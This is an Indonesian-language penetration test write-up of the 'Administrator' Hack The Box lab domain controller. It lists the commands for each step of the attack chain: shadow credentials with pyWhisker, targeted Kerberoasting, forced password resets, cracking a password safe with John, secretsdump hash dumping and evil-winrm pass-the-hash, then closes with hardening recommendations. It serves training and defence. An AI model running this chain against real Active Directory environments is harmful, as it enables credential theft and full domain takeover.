LAPORAN PENETRATION TESTING: ADMINISTRATOR HTB

INFORMASI PROYEK

Target: Administrator HTB (Windows Active Directory Domain Controller)
Alamat IP: 10.10.11.42
Tipe Environment: Windows Active Directory Domain Controller
Tingkat Kesulitan: Medium/Sulit
Tanggal Testing: 12/22/2024

RINGKASAN EKSEKUTIF

Penetration testing terhadap lingkungan Windows Active Directory Administrator HTB berhasil mengkompromi domain secara penuh melalui teknik-teknik advanced Active Directory attack. Engagemen ini mendemonstrasikan serangan berbasis sertifikat, eksploitasi Kerberos, dan rantai eskalasi privilege hingga akhirnya mendapatkan akses Domain Administrator.

METODOLOGI PENGETESAN

1. **Enumerasi Jaringan** - Penemuan layanan dan port scanning
2. **Reconnaissance Active Directory** - Enumerasi LDAP dan pengumpulan informasi domain
3. **Initial Compromise** - Validasi kredensial dan akses awal
4. **Lateral Movement** - Serangan berbasis sertifikat dan eskalasi privilege
5. **Domain Privilege Escalation** - Serangan Kerberos dan hash dumping
6. **Domain Compromise** - Akses Domain Administrator tercapai

TEMUAN TEKNIS

1. Enumerasi Awal

Tools: Nmap
Commands:

bash

sudo nmap -A -O 10.10.11.42

nmap -n -sV --script "ldap* and not brute" 10.10.11.42

Temuan:

- Multiple services teridentifikasi: FTP (21), Kerberos (88), LDAP (389), SMB (445)
- Domain teridentifikasi: administrator.htb
- Fungsi Domain Controller dikonfirmasi

2. Analisis Protokol LDAP

Protokol: Lightweight Directory Access Protocol (LDAP)
Tujuan: Protokol layanan direktori untuk mengakses dan mengelola informasi direktori
Penggunaan: Autentikasi Active Directory, otorisasi, dan pengambilan informasi

3. Validasi Akses Awal

Tools: CrackMapExec, NetExec
Kredensial Ditemukan: olivia:ichliebedich
Akses Layanan: SMB shares dan WinRM access terkonfirmasi

Commands:

bash

sudo crackmapexec smb 10.10.11.42 -u Olivia -p 'ichliebedich' --shares

netexec winrm 10.10.11.42 -u olivia -p ichliebedich

4. Pemetaan Active Directory dengan BloodHound

Tool: BloodHound
Tujuan: Pemetaan hubungan Active Directory dan analisis privilege
Temuan: User olivia memiliki permission GenericAll pada user michael

5. Serangan Berbasis Sertifikat (Shadow Credentials)

Tool: pyWhisker
Teknik: Menambahkan atribut msDs-KeyCredentialLink untuk autentikasi berbasis sertifikat
Command:

bash

python3 pywhisker.py -d "administrator.htb" -u "olivia" -p 'ichliebedich' --target "michael" --action "add"

6. Eksploitasi Tiket Kerberos

Tools: PKINITtools, targetedKerberoast
Tujuan: Mendapatkan Ticket Granting Ticket (TGT) untuk user target
Proses:

- Import sertifikat menggunakan PKINITtools
- Akuisisi TGT untuk user michael
- Kemampuan reset password didapatkan

Commands:

bash

sudo python3 targetedKerberoast.py -v -d 'administrator.htb' -u 'olivia' -p ichliebedich

7. Rantai Eskalasi Privilege

Langkah 1: Reset password untuk michael

bash

net user michael Password123! /DOMAIN

Langkah 2: Analisis BloodHound mengungkap michael memiliki permission ForceChangePassword untuk benjamin

Langkah 3: Eksploitasi akses FTP benjamin

- File password safe (Backup.psafe3) ditemukan dan didownload
- John the Ripper digunakan untuk memecahkan password safe

Commands:

bash

pwsafe2john Backup.psafe3 > pwsafe.hash

john --wordlist=/usr/share/wordlists/rockyou.txt pwsafe.hash

8. Lateral Movement Lanjutan

User: Emily
Temuan: GenericWrite permissions pada user Ethan
Replikasi Serangan: Serangan berbasis sertifikat diulang pada Ethan

Commands:

bash

pywhisker -d administrator.htb -u emily -p <emily_pass> --target ethan --action "add"

targetedKerberoast.py -v -d 'administrator.htb' -u emily -p <emily_pass>

john --wordlist=/usr/share/wordlists/rockyou.txt ethan.hash

9. Kompromi Domain Administrator

Teknik: Credential dumping menggunakan secretsdump
Tool: Impacket-secretsdump
Hasil: Hash Domain Administrator didapatkan

Commands:

bash

impacket-secretsdump administrator.htb/ethan:<ethan_pass>@10.10.11.42

./evil-winrm.rb -i 10.10.11.42 -u Administrator -H <admin_hash>

TOOLS YANG DIGUNAKAN

- **Scanning & Enumeration:** Nmap, CrackMapExec, NetExec
- **Analisis Active Directory:** BloodHound, rpcclient
- **Serangan Sertifikat:** pyWhisker, PKINITtools
- **Eksploitasi Kerberos:** targetedKerberoast
- **Serangan Kredensial:** John the Ripper, pwsafe2john
- **Credential Dumping:** Impacket-secretsdump
- **Akses Remote:** Evil-WinRM

SKILLS YANG DITUNJUKKAN

Serangan Active Directory Lanjutan

- Serangan autentikasi berbasis sertifikat (Shadow Credentials)
- Eksploitasi tiket Kerberos dan akuisisi TGT
- Analisis BloodHound dan identifikasi jalur serangan
- Rantai eskalasi privilege Active Directory

Kemampuan Teknis

- Pemahaman protokol LDAP dan enumerasi
- Eksploitasi Windows Remote Management (WinRM)
- Eksploitasi layanan FTP dan password safe cracking
- Ekstraksi hash NTLM dan serangan pass-the-hash

Pendekatan Metodis

- Eskalasi privilege sistematis melalui multiple user accounts
- Replikasi serangan across different privilege relationships
- Pemetaan domain komprehensif dan analisis hubungan

MASALAH KEAMANAN UTAMA YANG DIIDENTIFIKASI

1. **User Permissions Berlebihan** - Permission GenericAll dan GenericWrite memungkinkan serangan sertifikat
2. **Misconfigured Sertifikat** - Rentan terhadap serangan Shadow Credentials
3. **Penyimpanan Password Lemah** - File password safe dapat diakses via FTP
4. **Kerentanan Kerberos** - Rentan terhadap targeted Kerberoasting attacks
5. **Rantai Eskalasi Privilege** - Multiple paths menuju akses Domain Administrator

REKOMENDASI KEAMANAN

1. Hardening Active Directory

- Review dan restriksi permission GenericAll dan GenericWrite
- Implementasi safeguards untuk autentikasi berbasis sertifikat
- Analisis BloodHound regular untuk identifikasi hubungan berbahaya

2. Manajemen Privilege Access

- Implementasi principle of least privilege untuk semua service accounts
- Review regular user permissions dan access rights
- Monitor untuk modifikasi atribut sertifikat tidak biasa

3. Keamanan Autentikasi

- Implementasi strong password policies untuk semua users
- Enable monitoring untuk serangan Kerberoasting
- Restriksi akses FTP untuk personnel essential saja

4. Monitoring dan Detection

- Implementasi alerts untuk aktivitas seperti secretsdump
- Monitor untuk pola autentikasi sertifikat tidak biasa

- Enable logging untuk perubahan user permission

PENCAPAIAN

- **Full Domain Compromise** - Akses Domain Administrator tercapai
- **User Flag Captured** - Akses user-level terdemonstrasi
- **Advanced AD Attacks** - Serangan berbasis sertifikat dan eksploitasi Kerberos
- **Multi-Stage Escalation** - Rantai eskalasi privilege kompleks dieksekusi

KESIMPULAN

Penetration testing Administrator HTB berhasil mendemonstrasikan teknik advanced Active Directory attack, khususnya fokus pada serangan berbasis autentikasi sertifikat dan eksploitasi Kerberos. Engagemen ini mengungkap miskonfigurasi kritis dalam penugasan permission dan manajemen sertifikat yang memungkinkan pengambilalihan domain penuh melalui rantai eskalasi privilege yang metodis.

Project ini menunjukkan keahlian dalam testing keamanan Active Directory lanjutan, membuatnya sangat relevan untuk roles yang berfokus pada keamanan enterprise Windows, pertahanan Active Directory, dan operasi red team.